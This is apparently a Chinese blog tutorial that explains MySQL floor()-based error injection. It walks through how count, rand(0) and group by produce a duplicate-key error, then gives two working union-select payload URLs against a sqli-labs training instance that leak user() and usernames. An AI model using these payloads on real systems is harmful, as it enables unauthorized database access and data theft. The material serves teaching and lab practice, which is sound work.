Mysql报错注入之floor报错详解

这篇具有很好参考价值的文章主要介绍了Mysql报错注入之floor报错详解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

先各自说明这几个

先说count 统计个数

再说floor 向下取整 

rand(),就是一个0到1随机数

伪随机数

group by 就是用列来进行分组

遇到一个问题

开始

产生1和0两个随机数

综合使用

其实就是下面这样

报错分析

四、总结

个人理解:

实战:

 代码

代码

 效果图


其实floor报错不是单纯的使用floor他需要配合group by ,rand,count来完成的

先各自说明这几个

先说count 统计个数

mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
|        8 |
+----------+
1 row in set (0.00 sec)

mysql>

再说floor 向下取整 

在扩展一下向上取整为ceil()

mysql> select floor(1.9);
+------------+
| floor(1.9) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql>

rand(),就是一个0到1随机数

mysql> select rand();
+-------------------+
| rand()            |
+-------------------+
| 0.541523484086174 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.6968036170087788 |
+--------------------+
1 row in set (0.00 sec)

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.8594476635190171 |
+--------------------+
1 row in set (0.00 sec)

mysql>

伪随机数

但是当他给里面一个种子以后他就变成了伪随机数

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(0);
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

group by 就是用列来进行分组

遇到一个问题

ERROR 1055 (42000): Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'security.users.id' which
is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by

解决请移步https://mp.csdn.net/mp_blog/creation/editor/129956548

mysql> select * from users group by id;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql> select * from users group by username;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql> select * from users group by 2;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql>

开始

那么咱们先用rand(0)查一下

mysql> select rand(0) from users;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
| 0.33109208227236947 |
|  0.7392180764481594 |
|  0.7028141661573334 |
|  0.2964166321758336 |
|  0.3736406931408129 |
+---------------------+
8 rows in set (0.00 sec)

mysql>

产生1和0两个随机数

mysql> select rand(0)*2 from users;
+--------------------+
| rand(0)*2          |
+--------------------+
| 0.3104408553898715 |
|  1.241763483026776 |
| 1.2774949104315554 |
| 0.6621841645447389 |
| 1.4784361528963188 |
| 1.4056283323146668 |
| 0.5928332643516672 |
| 0.7472813862816258 |
+--------------------+
8 rows in set (0.00 sec)

mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
+------------------+
8 rows in set (0.00 sec)

mysql>

其实我也不知道我在干嘛

综合使用

mysql> select count(*),floor(rand(0) * 2) x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0) * 2) x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql>

然后他就说1这个主键重复啦

其实就是下面这样

没进行统计

mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
+------------------+
8 rows in set (0.00 sec)

mysql> select floor(rand(0)*2) as x from users group by x;
+---+
| x |
+---+
| 0 |
| 1 |
+---+
2 rows in set (0.00 sec)

mysql>

当进行统计的时候

他就会报主键1重复

这是为什么呢???

这边我把我们周老师的文档粘过来让大家看

报错分析

这个整合然后计数的过程中,中间发生了什么我们是必须要明白的。 首先mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count()。也就对应于实验中的 user_name 和 count()。 然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。

然后mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个"被计算多次"到底是什么意思,就是在使用group by的时候,floor(rand(0)2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)2)报错的过程就知道了,从上面的函数使用中可以看到在一次多记录的查询过程中floor(rand(0)2)的值是定性的,为011011 (这个顺序很重要),报错实际上就是floor(rand(0)2)被计算多次导致的,我们还原一下具体的查询过程:

(1)查询前默认会建立空虚拟表如下图:

Mysql报错注入之floor报错详解

(2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),

Mysql报错注入之floor报错详解

(3)查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:

0 1 1 0 1 1 0

0 1 1

Mysql报错注入之floor报错详解

(4)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)

Mysql报错注入之floor报错详解

(5)查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕,结果如下:

Mysql报错注入之floor报错详解

(6)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算)

0 1 1 0

Mysql报错注入之floor报错详解

(7)查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),

Mysql报错注入之floor报错详解

然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

0 1 1 0 1

四、总结

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要最少3条数据,使用该语句才会报错的原因。

另外,要注意加入随机数种子的问题,如果没加入随机数种子或者加入其他的数,那么floor(rand()2)产生的序列是不可测的,这样可能会出现正常插入的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。

比如下面用1作为随机数种子,就不会产生报错:

Mysql报错注入之floor报错详解

Mysql报错注入之floor报错详解

个人理解:

我感觉就是第一次计算 floor(rand(0)*2)为0,然后查表发现没0这个key,然后在计算一次进行插入

然后第三次计算floor(rand(0)*2)为1,然后发现有这个key,不进行插入,然后count 进行加1。

然后第四次计算floor(rand(0)*2)为0,然后查表发现没0这个key,然后在进行计算一次为1啦,打算插入,但是key已经有1啦,所以就会产生1这个主键重复报错。

注意:最少需要三条数据才能报错,你读完上面你肯定会懂得

实战:

 代码

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,3%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a%20--+

这里的concat是用来把floor(rand(0)*2)和local@host连接起来,要不然只会显示1主键重复

然后才会爆出local@host1主键重复

 a是别名,下面解释啦

Mysql报错注入之floor报错详解

最后那个a是别名,如果你没有就会出现下图

Mysql报错注入之floor报错详解

 然后再一点一点查

代码

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,3%20from%20(select%20count(*),concat((select%20username%20from%20users%20limit%201,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a%20--+

 效果图

Mysql报错注入之floor报错详解文章来源地址https://www.toymoban.com/news/detail-401386.html

到了这里,关于Mysql报错注入之floor报错详解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【MySQL】MySQL数据库,RDBMS 术语,使用说明和报错解决的详细讲解

    作者简介: 辭七七,目前大一,正在学习C/C++,Java,Python等 作者主页: 七七的个人主页 文章收录专栏: 七七的闲谈 欢迎大家点赞 👍 收藏 ⭐ 加关注哦!💖💖 MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数

    2024年02月11日
    浏览(49)
  • 虚拟机和docker不兼容报错,各自的解决办法

      原因分析: 问题出在 Hyper-V 已禁用或 Hypervisor 代理未运行。 ( 如果 Hyper-V 功能已启用但不起作用 ) hyper-v 组件开启后,需确保其守护进程自动运行(我问题出在这里,守护进程没有运行),可通过 管理员身份 命令启动: 打开文件夹, C:WindowsSystem32 ;查找到 cmd.exe ,右键

    2024年02月09日
    浏览(33)
  • MySQL安全性:用户认证、防范SQL注入和SSL/TLS配置详解

    MySQL作为广泛使用的关系型数据库管理系统,安全性至关重要。在本篇技术博客中,我们将深入探讨MySQL的用户认证方式、防范SQL注入攻击的方法以及SSL/TLS加密的配置。 MySQL支持多种用户认证方式,其中两种常见方式是caching_sha2_password和mysql_native_password。 1.1 caching_sha2_passwor

    2024年02月02日
    浏览(32)
  • 【Linux】各目录说明

    【常见目录说明】 目录 /bin 存放二进制可执行文件( ls ,cat,mkdir等), 常用命令 一般都在这里。 / etc 存放 系统管理和配置 文件 / home 存放所有用户文件的根目录 ,是用户主目录的基点,比如用户user的主目录就是/home/user,可以用~user表示 / usr 用于存放系统应用程序,比较重要

    2024年01月17日
    浏览(63)
  • linux 各个目录说明

    Linux 目录结构 home文件夹测试

    2024年02月07日
    浏览(32)
  • elasticsearch目录及配置参数说明

    存放ES启动、关闭等脚本文件 存放执行文件,例如启动脚本、密钥工具等 ES的配置文件所在的目录,其中有三个主要的配置文件 elasticsearch.yml是用于ES的最主要的配置文件 jvm.options用于配置ES JVM设置 log4j2.properties用于配置ES 日志记录的属性 ES自带的JDK目录 默认的索引数据存储

    2024年02月16日
    浏览(35)
  • 2023 华为OD机试备考攻略 以及题库目录分值说明 考点说明

    2023年11月份,华为官方已经将 华为OD机考:OD统一考试(A卷 / B卷)切换到 OD统一考试(C卷)和 OD统一考试(D卷) 。 目前在考C卷,经过两个月的收集整理, C卷真题已基本整理完毕 抽到原题的概率为2/3到3/3, 也就是最少抽到两道原题。 请注意:大家刷完C卷真题,最好要把

    2023年04月16日
    浏览(67)
  • 30天精通Nodejs--目录与说明

    说明 本系列博客主要针对nodejs零基础的小伙伴,涵盖了Node.js从基础到高级的各个方面。 前置条件,有js的基础,了解css和html。 nodejs版本20.8.1。 目录 基础知识 第1天:基础介绍 第2天:模块系统与npm 第3天:异步编程 第4天:搭建一个web服务器 常用模块 第5天:Events 第6天:

    2024年02月08日
    浏览(42)
  • 请列举出Tomcat安装目录下的子目录,并对其进行简要说明

    Tomcat 安装目录下的子目录包括: bin:存放 Tomcat 的启动、停止脚本以及其他工具。 conf:存放 Tomcat 的配置文件,例如 server.xml、web.xml 等。 lib:存放 Tomcat 的核心 jar 包以及其他库文件。 logs:存放 Tomcat 的日志文件。 temp:存放 Tomcat 运行过程中生成的临时文件。 webapps:存放

    2024年02月08日
    浏览(40)
  • 注入工具SQLMAP教程:Tamper编写;指纹修改;高权限操作;目录架构等

    1、SQLMAP-常规猜解字典配置 2、SQLMAP-权限操作文件命令 3、SQLMAP-Tamper使用开发 4、SQLMAP-调试指纹风险等级 https://www.cnblogs.com/bmjoker/p/9326258.html 测试:http://vulnweb.com/ –current-db –tables -D “” –columns -T “” -D “” –dump -C “” -C “” -T “” 1.IIS, ASP, Microsoft SQL Server(ACCESS数据

    2024年02月22日
    浏览(26)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包